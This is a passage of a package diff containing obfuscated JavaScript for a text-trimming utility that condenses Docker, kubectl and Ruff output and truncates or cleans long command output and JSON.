_0x3a9dfd[_0x403e40(0xfb)]();const _0x38cb04=_0x1ee3a0[_0x403e40(0x107)](0x1),_0x31082e=[_0x403e40(0xfa)+_0x38cb04[_0x403e40(0x10c)]+_0x403e40(0xf9)];_0x31082e['push']('');const _0x92dda3=_0x38cb04['slice'](0x0,0x14);for(const _0x54e548 of _0x92dda3){const _0x4a2f96=_0x54e548['split'](/\s{2,}/);if(_0x4a2f96[_0x403e40(0x10c)]>=0x3){const _0x4cfff6=_0x4a2f96[0x0],_0x281053=_0x4a2f96[0x1],_0x19640d=_0x4a2f96[_0x4a2f96[_0x403e40(0x10c)]-0x1]||'';_0x31082e[_0x403e40(0xf7)]('\x20\x20'+_0x4cfff6+':'+_0x281053+'\x20\x20'+_0x19640d);}else _0x31082e[_0x403e40(0xf7)]('\x20\x20'+_0x54e548[_0x403e40(0xfb)]());}return _0x38cb04[_0x403e40(0x10c)]>0x14&&_0x31082e['push'](_0x403e40(0xef)+(_0x38cb04[_0x403e40(0x10c)]-0x14)+_0x403e40(0x118)),_0x31082e['join']('\x0a');}function filterDockerLogs(_0x12cfb3){const _0x5f2dbb=a0_0x268fa7,_0xe6d4d1=_0x12cfb3[_0x5f2dbb(0xe7)]('\x0a');if(_0xe6d4d1[_0x5f2dbb(0x10c)]<=0x32)return _0x12cfb3;const _0x57435f=[];return _0x57435f[_0x5f2dbb(0xf7)](..._0xe6d4d1[_0x5f2dbb(0x107)](0x0,0x14)),_0x57435f[_0x5f2dbb(0xf7)](_0x5f2dbb(0x101)+(_0xe6d4d1[_0x5f2dbb(0x10c)]-0x28)+_0x5f2dbb(0x103)),_0x57435f['push'](..._0xe6d4d1['slice'](-0x14)),_0x57435f[_0x5f2dbb(0xf7)]('\x0a('+_0xe6d4d1['length']+'\x20log\x20lines\x20total)'),_0x57435f['join']('\x0a');}function a0_0x3e74(){const _0x581155=['match','Found\x200\x20error','642942qotvuj','9807ulfVqd','7484008qdJbLP','Events:','filterKubectl','\x20\x20...\x20+','filterRuff','No\x20images\x20found','defineProperty','4650844uidAak','2mfITxw','Ruff:\x20','No\x20resources\x20found','push','\x20more\x20files','\x20total','Docker\x20images:\x20','trim','\x20issues\x20in\x20','join','describe','filter','100uEARYc','\x0a...\x20[','filterDockerPs','\x20lines\x20truncated]\x20...\x0a','\x20more\x20resources','1160141orYctF','\x20more\x20lines','slice','\x20more\x20events','All\x20checks\x20passed','substring','No\x20containers\x20running','length','...\x20+','95MlqarO','includes','\x20more','150004lRlPNw','Containers:\x20','4860AanyYp','\x20resources\x20found','filterDockerLogs','startsWith','Ruff:\x20no\x20issues\x20found','\x20more\x20images','Ruff:\x20all\x20checks\x20passed','3226824KusalY','filterDockerImages','__esModule','split'];a0_0x3e74=function(){return _0x581155;};return a0_0x3e74();}function filterKubectl(_0x26a843,_0x133539){const _0xd621f8=a0_0x268fa7,_0x2eac0e=_0x26a843['split']('\x0a')[_0xd621f8(0xff)](_0x29e147=>_0x29e147[_0xd621f8(0xfb)]()[_0xd621f8(0x10c)]>0x0);if(_0x2eac0e['length']===0x0)return _0xd621f8(0xf6);if(_0x2eac0e['length']<=0x14)return _0x26a843['trim']();if(_0x133539==='get'){const _0x6d5efa=_0x2eac0e[0x0],_0x3650a9=_0x2eac0e[_0xd621f8(0x107)](0x1),_0x5494ad=[_0x3650a9[_0xd621f8(0x10c)]+_0xd621f8(0x114),'',_0x6d5efa];return _0x3650a9[_0xd621f8(0x10c)]<=0x1e?_0x5494ad[_0xd621f8(0xf7)](..._0x3650a9):(_0x5494ad['push'](..._0x3650a9['slice'](0x0,0x19)),_0x5494ad[_0xd621f8(0xf7)](_0xd621f8(0x10d)+(_0x3650a9[_0xd621f8(0x10c)]-0x19)+_0xd621f8(0x104))),_0x5494ad[_0xd621f8(0xfd)]('\x0a');}if(_0x133539===_0xd621f8(0xfe)){const _0x16cf85=[];let _0x28fa5b=![],_0x278a24=0x0;for(const _0xee532 of _0x2eac0e){if(_0xee532[_0xd621f8(0x116)](_0xd621f8(0xed))){_0x28fa5b=!![],_0x16cf85[_0xd621f8(0xf7)](_0xee532);continue;}if(_0x28fa5b){_0x278a24++;if(_0x278a24<=0x5)_0x16cf85[_0xd621f8(0xf7)](_0xee532);}else _0x16cf85[_0xd621f8(0xf7)](_0xee532);}return _0x278a24>0x5&&_0x16cf85[_0xd621f8(0xf7)](_0xd621f8(0xef)+(_0x278a24-0x5)+_0xd621f8(0x108)),_0x16cf85[_0xd621f8(0xfd)]('\x0a');}if(_0x133539==='logs')return filterDockerLogs(_0x26a843);const _0x3fe0a0=_0x2eac0e[_0xd621f8(0x107)](0x0,0x1e);return _0x2eac0e[_0xd621f8(0x10c)]>0x1e&&_0x3fe0a0['push'](_0xd621f8(0x10d)+(_0x2eac0e[_0xd621f8(0x10c)]-0x1e)+_0xd621f8(0x106)),_0x3fe0a0['join']('\x0a');}function filterRuff(_0x31ab6a){const _0x222c7c=a0_0x268fa7,_0x579774=_0x31ab6a[_0x222c7c(0xe7)]('\x0a')[_0x222c7c(0xff)](_0x46d339=>_0x46d339['trim']()['length']>0x0);if(_0x579774['length']===0x0)return _0x222c7c(0x117);if(_0x31ab6a[_0x222c7c(0x10f)](_0x222c7c(0x109))||_0x31ab6a['includes'](_0x222c7c(0xe9)))return _0x222c7c(0x119);const _0x2d72be=_0x31ab6a[_0x222c7c(0xe8)](/Found (\d+) error/),_0x227a55=_0x2d72be?parseInt(_0x2d72be[0x1]):_0x579774[_0x222c7c(0x10c)],_0x1e4c84={},_0x4700f3=[];for(const _0x593a57 of _0x579774){const _0x402711=_0x593a57[_0x222c7c(0xe8)](/^([^:]+:\d+:\d+):\s*(.*)/);if(_0x402711){const _0x1fd7a6=_0x402711[0x1],_0x3597db=_0x1fd7a6[_0x222c7c(0xe7)](':')[0x0];if(!_0x1e4c84[_0x3597db])_0x1e4c84[_0x3597db]=[];_0x1e4c84[_0x3597db][_0x222c7c(0xf7)](_0x593a57);}else _0x4700f3[_0x222c7c(0xf7)](_0x593a57);}const _0x8ac0b=Object['keys'](_0x1e4c84);if(_0x8ac0b[_0x222c7c(0x10c)]===0x0){if(_0x579774[_0x222c7c(0x10c)]<=0x14)return _0x31ab6a['trim']();return _0x579774[_0x222c7c(0x107)](0x0,0xf)[_0x222c7c(0xfd)]('\x0a')+('\x0a...\x20+'+(_0x579774[_0x222c7c(0x10c)]-0xf)+_0x222c7c(0x110));}const _0x4de67c=[_0x222c7c(0xf5)+_0x227a55+'\x20issues\x20in\x20'+_0x8ac0b[_0x222c7c(0x10c)]+'\x20files'];_0x4de67c[_0x222c7c(0xf7)]('');const _0x5094ab=0xa;for(const _0xfde25d of _0x8ac0b['slice'](0x0,_0x5094ab)){const _0x14e464=_0x1e4c84[_0xfde25d];if(_0x14e464['length']<=0x3){for(const _0x4770ae of _0x14e464)_0x4de67c[_0x222c7c(0xf7)]('\x20\x20'+_0x4770ae);}else _0x4de67c[_0x222c7c(0xf7)]('\x20\x20'+_0x14e464[0x0]),_0x4de67c[_0x222c7c(0xf7)]('\x20\x20...\x20('+_0x14e464[_0x222c7c(0x10c)]+_0x222c7c(0xfc)+_0xfde25d+')');}return _0x8ac0b[_0x222c7c(0x10c)]>_0x5094ab&&_0x4de67c['push'](_0x222c7c(0xef)+(_0x8ac0b[_0x222c7c(0x10c)]-_0x5094ab)+_0x222c7c(0xf8)),_0x4de67c[_0x222c7c(0xfd)]('\x0a');}
1
+ 'use strict';const a0_0x520b17=a0_0x397b;function a0_0x21b9(){const _0x5774ef=['872MYmTTx','\x20files','join','Ruff:\x20','length','filter','All\x20checks\x20passed','Containers:\x20','\x20log\x20lines\x20total)','defineProperty','split','\x0a...\x20[','match','Ruff:\x20all\x20checks\x20passed','3627594ohcBEx','\x20issues\x20in\x20','filterDockerPs','\x20total','\x20more\x20resources','Events:','\x20resources\x20found','logs','Docker\x20images:\x20','420783lUiyzS','...\x20+','filterRuff','keys','1094699LSpKhs','\x20\x20...\x20+','trim','startsWith','\x20more','8NIVGmX','push','\x20\x20...\x20(','\x20lines\x20truncated]\x20...\x0a','slice','4741492vfivJk','__esModule','filterDockerLogs','\x20more\x20events','2jKBiPl','94977LPDZxp','1882255JokEQJ','get','24968920cUBbZd','includes','\x0a...\x20+'];a0_0x21b9=function(){return _0x5774ef;};return a0_0x21b9();}(function(_0x322fb9,_0x38301c){const _0x337733=a0_0x397b,_0x545cd6=_0x322fb9();while(!![]){try{const _0x23d7b5=parseInt(_0x337733(0xc5))/0x1*(-parseInt(_0x337733(0xa3))/0x2)+-parseInt(_0x337733(0xc1))/0x3+-parseInt(_0x337733(0x9a))/0x4*(-parseInt(_0x337733(0xa5))/0x5)+parseInt(_0x337733(0xb8))/0x6+-parseInt(_0x337733(0x9f))/0x7+parseInt(_0x337733(0xaa))/0x8*(-parseInt(_0x337733(0xa4))/0x9)+parseInt(_0x337733(0xa7))/0xa;if(_0x23d7b5===_0x38301c)break;else _0x545cd6['push'](_0x545cd6['shift']());}catch(_0x308df5){_0x545cd6['push'](_0x545cd6['shift']());}}}(a0_0x21b9,0xc14f8));Object[a0_0x520b17(0xb3)](exports,a0_0x520b17(0xa0),{'value':!![]}),exports[a0_0x520b17(0xba)]=filterDockerPs,exports['filterDockerImages']=filterDockerImages,exports[a0_0x520b17(0xa1)]=filterDockerLogs,exports['filterKubectl']=filterKubectl,exports[a0_0x520b17(0xc3)]=filterRuff;function filterDockerPs(_0x49a478){const _0x5923df=a0_0x520b17,_0x3a3adb=_0x49a478[_0x5923df(0xb4)]('\x0a')[_0x5923df(0xaf)](_0x2fd8e1=>_0x2fd8e1[_0x5923df(0x97)]()[_0x5923df(0xae)]>0x0);if(_0x3a3adb[_0x5923df(0xae)]===0x0)return'No\x20containers\x20running';if(_0x3a3adb[_0x5923df(0xae)]<=0xa)return _0x49a478[_0x5923df(0x97)]();const _0x5e7f70=_0x3a3adb[0x0],_0x294fe1=_0x3a3adb[_0x5923df(0x9e)](0x1),_0x428528=[];_0x428528[_0x5923df(0x9b)](_0x5923df(0xb1)+_0x294fe1['length']+_0x5923df(0xbb)),_0x428528[_0x5923df(0x9b)]('');for(const _0x46c666 of _0x294fe1){const _0x38d97a=_0x46c666['split'](/\s{2,}/);if(_0x38d97a[_0x5923df(0xae)]>=0x5){const _0x52e586=_0x38d97a[0x0]['substring'](0x0,0xc),_0xc23706=_0x38d97a[0x1],_0x79bf0d=_0x38d97a[_0x38d97a[_0x5923df(0xae)]-0x2]||'',_0x512282=_0x38d97a[_0x38d97a[_0x5923df(0xae)]-0x1]||'';_0x428528[_0x5923df(0x9b)]('\x20\x20'+_0x52e586+'\x20\x20'+_0xc23706+'\x20\x20'+_0x79bf0d+'\x20\x20'+_0x512282);}else _0x428528[_0x5923df(0x9b)]('\x20\x20'+_0x46c666[_0x5923df(0x97)]());}return _0x428528[_0x5923df(0xac)]('\x0a');}function filterDockerImages(_0x3944be){const _0x58c573=a0_0x520b17,_0x899118=_0x3944be[_0x58c573(0xb4)]('\x0a')['filter'](_0x4d315f=>_0x4d315f['trim']()[_0x58c573(0xae)]>0x0);if(_0x899118[_0x58c573(0xae)]<=0x1)return'No\x20images\x20found';if(_0x899118[_0x58c573(0xae)]<=0xf)return _0x3944be['trim']();const _0x20a7ad=_0x899118[_0x58c573(0x9e)](0x1),_0x7004b3=[_0x58c573(0xc0)+_0x20a7ad['length']+_0x58c573(0xbb)];_0x7004b3['push']('');const _0x565dd1=_0x20a7ad['slice'](0x0,0x14);for(const _0x2783b7 of _0x565dd1){const _0x201895=_0x2783b7[_0x58c573(0xb4)](/\s{2,}/);if(_0x201895[_0x58c573(0xae)]>=0x3){const _0x66a472=_0x201895[0x0],_0x4b8dba=_0x201895[0x1],_0x490f90=_0x201895[_0x201895['length']-0x1]||'';_0x7004b3[_0x58c573(0x9b)]('\x20\x20'+_0x66a472+':'+_0x4b8dba+'\x20\x20'+_0x490f90);}else _0x7004b3[_0x58c573(0x9b)]('\x20\x20'+_0x2783b7[_0x58c573(0x97)]());}return _0x20a7ad[_0x58c573(0xae)]>0x14&&_0x7004b3[_0x58c573(0x9b)]('\x20\x20...\x20+'+(_0x20a7ad[_0x58c573(0xae)]-0x14)+'\x20more\x20images'),_0x7004b3[_0x58c573(0xac)]('\x0a');}function filterDockerLogs(_0x5d436d){const _0x3532cf=a0_0x520b17,_0x25d135=_0x5d436d[_0x3532cf(0xb4)]('\x0a');if(_0x25d135[_0x3532cf(0xae)]<=0x32)return _0x5d436d;const _0x2c9ff3=[];return _0x2c9ff3[_0x3532cf(0x9b)](..._0x25d135['slice'](0x0,0x14)),_0x2c9ff3[_0x3532cf(0x9b)](_0x3532cf(0xb5)+(_0x25d135[_0x3532cf(0xae)]-0x28)+_0x3532cf(0x9d)),_0x2c9ff3[_0x3532cf(0x9b)](..._0x25d135['slice'](-0x14)),_0x2c9ff3[_0x3532cf(0x9b)]('\x0a('+_0x25d135[_0x3532cf(0xae)]+_0x3532cf(0xb2)),_0x2c9ff3['join']('\x0a');}function filterKubectl(_0x580330,_0x5bd9b2){const _0x5636a5=a0_0x520b17,_0x5e633b=_0x580330['split']('\x0a')[_0x5636a5(0xaf)](_0x450698=>_0x450698[_0x5636a5(0x97)]()['length']>0x0);if(_0x5e633b[_0x5636a5(0xae)]===0x0)return'No\x20resources\x20found';if(_0x5e633b[_0x5636a5(0xae)]<=0x14)return _0x580330[_0x5636a5(0x97)]();if(_0x5bd9b2===_0x5636a5(0xa6)){const _0x491d53=_0x5e633b[0x0],_0x597b33=_0x5e633b[_0x5636a5(0x9e)](0x1),_0x58ca81=[_0x597b33[_0x5636a5(0xae)]+_0x5636a5(0xbe),'',_0x491d53];return _0x597b33['length']<=0x1e?_0x58ca81[_0x5636a5(0x9b)](..._0x597b33):(_0x58ca81[_0x5636a5(0x9b)](..._0x597b33[_0x5636a5(0x9e)](0x0,0x19)),_0x58ca81[_0x5636a5(0x9b)](_0x5636a5(0xc2)+(_0x597b33[_0x5636a5(0xae)]-0x19)+_0x5636a5(0xbc))),_0x58ca81[_0x5636a5(0xac)]('\x0a');}if(_0x5bd9b2==='describe'){const _0x4f86f4=[];let _0x27e352=![],_0x2caa73=0x0;for(const _0x408a52 of _0x5e633b){if(_0x408a52[_0x5636a5(0x98)](_0x5636a5(0xbd))){_0x27e352=!![],_0x4f86f4[_0x5636a5(0x9b)](_0x408a52);continue;}if(_0x27e352){_0x2caa73++;if(_0x2caa73<=0x5)_0x4f86f4[_0x5636a5(0x9b)](_0x408a52);}else _0x4f86f4[_0x5636a5(0x9b)](_0x408a52);}return _0x2caa73>0x5&&_0x4f86f4[_0x5636a5(0x9b)](_0x5636a5(0xc6)+(_0x2caa73-0x5)+_0x5636a5(0xa2)),_0x4f86f4[_0x5636a5(0xac)]('\x0a');}if(_0x5bd9b2===_0x5636a5(0xbf))return filterDockerLogs(_0x580330);const _0x58060d=_0x5e633b[_0x5636a5(0x9e)](0x0,0x1e);return _0x5e633b[_0x5636a5(0xae)]>0x1e&&_0x58060d[_0x5636a5(0x9b)](_0x5636a5(0xc2)+(_0x5e633b['length']-0x1e)+'\x20more\x20lines'),_0x58060d[_0x5636a5(0xac)]('\x0a');}function a0_0x397b(_0x214d1e,_0x530f17){const _0x21b93b=a0_0x21b9();return a0_0x397b=function(_0x397b1f,_0x53a7bc){_0x397b1f=_0x397b1f-0x97;let _0x52e900=_0x21b93b[_0x397b1f];return _0x52e900;},a0_0x397b(_0x214d1e,_0x530f17);}function filterRuff(_0x59a606){const _0x510625=a0_0x520b17,_0x3368dc=_0x59a606[_0x510625(0xb4)]('\x0a')['filter'](_0x59738b=>_0x59738b['trim']()[_0x510625(0xae)]>0x0);if(_0x3368dc['length']===0x0)return'Ruff:\x20no\x20issues\x20found';if(_0x59a606[_0x510625(0xa8)](_0x510625(0xb0))||_0x59a606['includes']('Found\x200\x20error'))return _0x510625(0xb7);const _0x41dadb=_0x59a606[_0x510625(0xb6)](/Found (\d+) error/),_0x452324=_0x41dadb?parseInt(_0x41dadb[0x1]):_0x3368dc[_0x510625(0xae)],_0xde606d={},_0x224ece=[];for(const _0x5add8f of _0x3368dc){const _0x29ed2c=_0x5add8f[_0x510625(0xb6)](/^([^:]+:\d+:\d+):\s*(.*)/);if(_0x29ed2c){const _0x43bfad=_0x29ed2c[0x1],_0x2bc51f=_0x43bfad[_0x510625(0xb4)](':')[0x0];if(!_0xde606d[_0x2bc51f])_0xde606d[_0x2bc51f]=[];_0xde606d[_0x2bc51f]['push'](_0x5add8f);}else _0x224ece[_0x510625(0x9b)](_0x5add8f);}const _0xfb2211=Object[_0x510625(0xc4)](_0xde606d);if(_0xfb2211['length']===0x0){if(_0x3368dc[_0x510625(0xae)]<=0x14)return _0x59a606[_0x510625(0x97)]();return _0x3368dc[_0x510625(0x9e)](0x0,0xf)[_0x510625(0xac)]('\x0a')+(_0x510625(0xa9)+(_0x3368dc[_0x510625(0xae)]-0xf)+_0x510625(0x99));}const _0x12d319=[_0x510625(0xad)+_0x452324+_0x510625(0xb9)+_0xfb2211[_0x510625(0xae)]+_0x510625(0xab)];_0x12d319['push']('');const _0x2e0b4a=0xa;for(const _0x4a4062 of _0xfb2211[_0x510625(0x9e)](0x0,_0x2e0b4a)){const _0x134de8=_0xde606d[_0x4a4062];if(_0x134de8[_0x510625(0xae)]<=0x3){for(const _0x1b2def of _0x134de8)_0x12d319['push']('\x20\x20'+_0x1b2def);}else _0x12d319[_0x510625(0x9b)]('\x20\x20'+_0x134de8[0x0]),_0x12d319[_0x510625(0x9b)](_0x510625(0x9c)+_0x134de8[_0x510625(0xae)]+_0x510625(0xb9)+_0x4a4062+')');}return _0xfb2211['length']>_0x2e0b4a&&_0x12d319['push']('\x20\x20...\x20+'+(_0xfb2211[_0x510625(0xae)]-_0x2e0b4a)+'\x20more\x20files'),_0x12d319[_0x510625(0xac)]('\x0a');}
@@ -1 +1 @@
1
- 'use strict';const a0_0x529a75=a0_0x4929;(function(_0x4bab02,_0x31161b){const _0x2c1f7d=a0_0x4929,_0x54407f=_0x4bab02();while(!![]){try{const _0x27eafc=-parseInt(_0x2c1f7d(0xdc))/0x1+-parseInt(_0x2c1f7d(0xd1))/0x2+parseInt(_0x2c1f7d(0xcc))/0x3+-parseInt(_0x2c1f7d(0xc9))/0x4+-parseInt(_0x2c1f7d(0xb7))/0x5+parseInt(_0x2c1f7d(0xcb))/0x6+-parseInt(_0x2c1f7d(0xbd))/0x7*(-parseInt(_0x2c1f7d(0xb9))/0x8);if(_0x27eafc===_0x31161b)break;else _0x54407f['push'](_0x54407f['shift']());}catch(_0x3f697c){_0x54407f['push'](_0x54407f['shift']());}}}(a0_0x4d45,0x21a2c));Object['defineProperty'](exports,a0_0x529a75(0xc2),{'value':!![]}),exports['stripAnsi']=stripAnsi,exports[a0_0x529a75(0xcf)]=collapseDuplicates,exports['collapseWhitespace']=collapseWhitespace,exports[a0_0x529a75(0xb5)]=stripComments,exports[a0_0x529a75(0xcd)]=smartCrushJson,exports[a0_0x529a75(0xca)]=softTruncate;function stripAnsi(_0x3886c2){const _0x53b8f0=a0_0x529a75,_0x4d0737=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x3886c2[_0x53b8f0(0xd5)](_0x4d0737,'');}function collapseDuplicates(_0xc7867a){const _0x461084=a0_0x529a75,_0x3e72a3=_0xc7867a[_0x461084(0xc0)]('\x0a');if(_0x3e72a3[_0x461084(0xd0)]<=0x1)return _0xc7867a;const _0x44b5f2=[];let _0x3ca40b=_0x3e72a3[0x0],_0x37547d=0x1;for(let _0x4abb3a=0x1;_0x4abb3a<_0x3e72a3['length'];_0x4abb3a++){const _0x3ac645=_0x3e72a3[_0x4abb3a];_0x3ac645===_0x3ca40b&&_0x3ac645['trim']()[_0x461084(0xd0)]>0x0?_0x37547d++:(_0x37547d>0x1?_0x44b5f2[_0x461084(0xba)](_0x3ca40b+_0x461084(0xc4)+_0x37547d+']'):_0x44b5f2['push'](_0x3ca40b),_0x3ca40b=_0x3ac645,_0x37547d=0x1);}return _0x37547d>0x1?_0x44b5f2[_0x461084(0xba)](_0x3ca40b+_0x461084(0xc4)+_0x37547d+']'):_0x44b5f2[_0x461084(0xba)](_0x3ca40b),_0x44b5f2[_0x461084(0xb2)]('\x0a');}function collapseWhitespace(_0x40a3b3){const _0x4ef8f4=a0_0x529a75;let _0x2c3f28=_0x40a3b3[_0x4ef8f4(0xd5)](/[ \t]+$/gm,'');return _0x2c3f28=_0x2c3f28[_0x4ef8f4(0xd5)](/\n{4,}/g,_0x4ef8f4(0xb6)),_0x2c3f28;}function stripComments(_0xefc7d,_0x4c0d15){const _0x3ef4fe=a0_0x529a75;if(!_0x4c0d15)return _0xefc7d;const _0x56d2d0=_0xefc7d[_0x3ef4fe(0xc0)]('\x0a');if(_0x56d2d0[_0x3ef4fe(0xd0)]<=0x96)return _0xefc7d;const _0x412b27={'.ts':/^\s*\/\//,'.js':/^\s*\/\//,'.tsx':/^\s*\/\//,'.jsx':/^\s*\/\//,'.py':/^\s*#(?!!)/,'.rb':/^\s*#(?!!)/,'.sh':/^\s*#(?!!)/,'.go':/^\s*\/\//,'.rs':/^\s*\/\//,'.java':/^\s*\/\//,'.c':/^\s*\/\//,'.cpp':/^\s*\/\//,'.cs':/^\s*\/\//,'.swift':/^\s*\/\//,'.kt':/^\s*\/\//,'.yaml':/^\s*#(?!!)/,'.yml':/^\s*#(?!!)/},_0x261851=_0x412b27[_0x4c0d15[_0x3ef4fe(0xce)]()];if(!_0x261851)return _0xefc7d;const _0x5c8590=_0x56d2d0[_0x3ef4fe(0xd4)](_0x6afd86=>!_0x261851['test'](_0x6afd86));return _0x5c8590[_0x3ef4fe(0xb2)]('\x0a');}function a0_0x4929(_0x3a63a7,_0x316b12){const _0x4d4508=a0_0x4d45();return a0_0x4929=function(_0x492946,_0x3c064b){_0x492946=_0x492946-0xb2;let _0x1d4cf2=_0x4d4508[_0x492946];return _0x1d4cf2;},a0_0x4929(_0x3a63a7,_0x316b12);}function smartCrushJson(_0xb82d84){const _0xbcce12=a0_0x529a75;try{const _0xf993f2=_0xb82d84['trim']();if(!_0xf993f2[_0xbcce12(0xc7)]('['))return null;const _0x2c57c8=JSON[_0xbcce12(0xbe)](_0xf993f2);if(!Array[_0xbcce12(0xd6)](_0x2c57c8)||_0x2c57c8[_0xbcce12(0xd0)]<0x3)return null;if(typeof _0x2c57c8[0x0]!=='object'||_0x2c57c8[0x0]===null)return null;const _0xf67c17=Object[_0xbcce12(0xd8)](_0x2c57c8[0x0]);if(_0xf67c17[_0xbcce12(0xd0)]===0x0)return null;const _0x4f173f=_0xf67c17['filter'](_0x16ad86=>{const _0x336053=_0xbcce12,_0x3f869d=_0x16ad86['toLowerCase']();return!_0x3f869d[_0x336053(0xbb)](_0x336053(0xdb))&&!_0x3f869d['includes'](_0x336053(0xd7))&&!_0x3f869d[_0x336053(0xbb)](_0x336053(0xbf))&&!_0x3f869d[_0x336053(0xbb)]('hash')&&!_0x3f869d[_0x336053(0xbb)](_0x336053(0xd3))&&!_0x3f869d['includes'](_0x336053(0xc8))&&!_0x3f869d['includes'](_0x336053(0xc3))&&_0x3f869d!==_0x336053(0xb8)&&_0x3f869d!=='engines'&&_0x3f869d!==_0x336053(0xd9)&&_0x3f869d!==_0x336053(0xda);})[_0xbcce12(0xc6)](0x0,0x6);if(_0x4f173f[_0xbcce12(0xd0)]===0x0)return null;const _0x1aed47=[];_0x1aed47[_0xbcce12(0xba)](_0x4f173f['join']('|'));const _0x4c8463=0x1e;for(let _0x4b4a85=0x0;_0x4b4a85<Math[_0xbcce12(0xb3)](_0x2c57c8[_0xbcce12(0xd0)],_0x4c8463);_0x4b4a85++){const _0x47e983=_0x4f173f['map'](_0x735a4b=>{const _0x1809c9=_0xbcce12,_0x79a549=_0x2c57c8[_0x4b4a85][_0x735a4b];if(_0x79a549===null||_0x79a549===undefined)return'';if(typeof _0x79a549===_0x1809c9(0xc5))return JSON[_0x1809c9(0xb4)](_0x79a549)[_0x1809c9(0xde)](0x0,0x28);return String(_0x79a549)[_0x1809c9(0xde)](0x0,0x3c);});_0x1aed47[_0xbcce12(0xba)](_0x47e983['join']('|'));}_0x2c57c8['length']>_0x4c8463&&_0x1aed47['push'](_0xbcce12(0xd2)+(_0x2c57c8[_0xbcce12(0xd0)]-_0x4c8463)+'\x20more\x20rows');_0x1aed47[_0xbcce12(0xba)]('\x0a('+_0x2c57c8[_0xbcce12(0xd0)]+_0xbcce12(0xdd)+_0xf67c17[_0xbcce12(0xd0)]+_0xbcce12(0xbc)+_0x4f173f[_0xbcce12(0xd0)]+_0xbcce12(0xdf));const _0x3d35bd=_0x1aed47[_0xbcce12(0xb2)]('\x0a');if(_0x3d35bd['length']<_0xf993f2['length'])return _0x3d35bd;return null;}catch{return null;}}function softTruncate(_0x30046a,_0x512b91=0x4e20){const _0x521d76=a0_0x529a75;if(_0x30046a[_0x521d76(0xd0)]<=_0x512b91)return _0x30046a;const _0xd179e1=_0x30046a[_0x521d76(0xc0)]('\x0a');if(_0xd179e1[_0x521d76(0xd0)]<=0xc8)return _0x30046a;const _0x339eef=0x32,_0x1b275e=0x96,_0x1f4f18=_0xd179e1[_0x521d76(0xc6)](0x0,_0x339eef),_0x161340=_0xd179e1[_0x521d76(0xc6)](_0xd179e1[_0x521d76(0xd0)]-_0x1b275e),_0x555600=_0x30046a['length']-(_0x1f4f18[_0x521d76(0xb2)]('\x0a')['length']+_0x161340['join']('\x0a')['length']);return[..._0x1f4f18,_0x521d76(0xc1)+_0x555600+'\x20characters\x20of\x20output]\x20...\x0a',..._0x161340][_0x521d76(0xb2)]('\x0a');}function a0_0x4d45(){const _0x274e8c=['parse','sha','split','\x0a...\x20[TrimPrompt:\x20Truncated\x20','__esModule','dev','\x20[x','object','slice','startsWith','signature','195812ZHYNeu','softTruncate','88374vrUzSm','404517qUncql','smartCrushJson','toLowerCase','collapseDuplicates','length','446866layOJC','...\x20+','checksum','filter','replace','isArray','integrity','keys','bugs','repository','resolved','27058aLzBos','\x20items,\x20','substring','\x20key\x20fields)','join','min','stringify','stripComments','\x0a\x0a\x0a','511670zzQUpv','funding','1559928SzDBeo','push','includes','\x20fields,\x20showing\x20','14rtgNXg'];a0_0x4d45=function(){return _0x274e8c;};return a0_0x4d45();}
1
+ 'use strict';const a0_0xe9078d=a0_0x482e;function a0_0x482e(_0x4ac9eb,_0x3a1129){const _0x46980c=a0_0x4698();return a0_0x482e=function(_0x482ecf,_0x5f4db8){_0x482ecf=_0x482ecf-0x13f;let _0x56100f=_0x46980c[_0x482ecf];return _0x56100f;},a0_0x482e(_0x4ac9eb,_0x3a1129);}(function(_0x5bcfa9,_0x40b550){const _0x18fcf9=a0_0x482e,_0x403389=_0x5bcfa9();while(!![]){try{const _0x2c85e6=-parseInt(_0x18fcf9(0x140))/0x1+-parseInt(_0x18fcf9(0x161))/0x2+-parseInt(_0x18fcf9(0x146))/0x3*(-parseInt(_0x18fcf9(0x163))/0x4)+parseInt(_0x18fcf9(0x15a))/0x5+parseInt(_0x18fcf9(0x154))/0x6*(-parseInt(_0x18fcf9(0x166))/0x7)+-parseInt(_0x18fcf9(0x16c))/0x8*(-parseInt(_0x18fcf9(0x141))/0x9)+parseInt(_0x18fcf9(0x151))/0xa*(parseInt(_0x18fcf9(0x15b))/0xb);if(_0x2c85e6===_0x40b550)break;else _0x403389['push'](_0x403389['shift']());}catch(_0x34237d){_0x403389['push'](_0x403389['shift']());}}}(a0_0x4698,0x99b58));Object['defineProperty'](exports,a0_0xe9078d(0x15d),{'value':!![]}),exports[a0_0xe9078d(0x168)]=stripAnsi,exports[a0_0xe9078d(0x16d)]=collapseDuplicates,exports[a0_0xe9078d(0x169)]=collapseWhitespace,exports[a0_0xe9078d(0x153)]=stripComments,exports[a0_0xe9078d(0x14e)]=smartCrushJson,exports[a0_0xe9078d(0x16b)]=softTruncate;function stripAnsi(_0x76e294){const _0x2e1399=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x76e294['replace'](_0x2e1399,'');}function collapseDuplicates(_0x12d08b){const _0x2a0f01=a0_0xe9078d,_0x358f95=_0x12d08b['split']('\x0a');if(_0x358f95[_0x2a0f01(0x165)]<=0x1)return _0x12d08b;const _0x318336=[];let _0x843985=_0x358f95[0x0],_0xb4ddbb=0x1;for(let _0x539ef0=0x1;_0x539ef0<_0x358f95['length'];_0x539ef0++){const _0x267a2d=_0x358f95[_0x539ef0];_0x267a2d===_0x843985&&_0x267a2d[_0x2a0f01(0x149)]()[_0x2a0f01(0x165)]>0x0?_0xb4ddbb++:(_0xb4ddbb>0x1?_0x318336['push'](_0x843985+'\x20[x'+_0xb4ddbb+']'):_0x318336['push'](_0x843985),_0x843985=_0x267a2d,_0xb4ddbb=0x1);}return _0xb4ddbb>0x1?_0x318336[_0x2a0f01(0x155)](_0x843985+_0x2a0f01(0x14a)+_0xb4ddbb+']'):_0x318336[_0x2a0f01(0x155)](_0x843985),_0x318336[_0x2a0f01(0x158)]('\x0a');}function collapseWhitespace(_0x25d1f9){const _0x2e4980=a0_0xe9078d;let _0x2a5331=_0x25d1f9['replace'](/[ \t]+$/gm,'');return _0x2a5331=_0x2a5331['replace'](/\n{4,}/g,_0x2e4980(0x142)),_0x2a5331;}function stripComments(_0xe398a1,_0x44b634){const _0xe04921=a0_0xe9078d;if(!_0x44b634)return _0xe398a1;const _0x37c319=_0xe398a1['split']('\x0a');if(_0x37c319[_0xe04921(0x165)]<=0x96)return _0xe398a1;const 